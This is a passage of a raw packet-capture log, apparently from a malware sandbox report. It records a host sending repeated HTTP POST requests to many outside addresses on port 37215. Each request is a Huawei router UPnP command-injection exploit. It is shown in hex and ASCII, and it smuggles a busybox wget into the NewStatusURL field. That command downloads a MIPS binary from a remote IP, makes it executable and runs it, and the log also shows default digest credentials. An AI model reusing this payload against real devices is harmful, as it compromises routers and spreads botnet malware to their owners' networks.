2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	46442	156.98.83.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.948276043 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	42108	197.215.149.213	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.948996067 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	59100	156.216.173.116	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.949732065 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	38960	41.86.126.31	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.950532913 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	38428	197.123.58.130	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.951337099 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	58850	41.119.93.57	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.952157974 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	56508	197.35.253.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.952964067 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	58684	197.252.226.228	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.953763962 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	33990	41.196.189.226	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.954561949 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	36294	41.12.156.197	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.955351114 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; 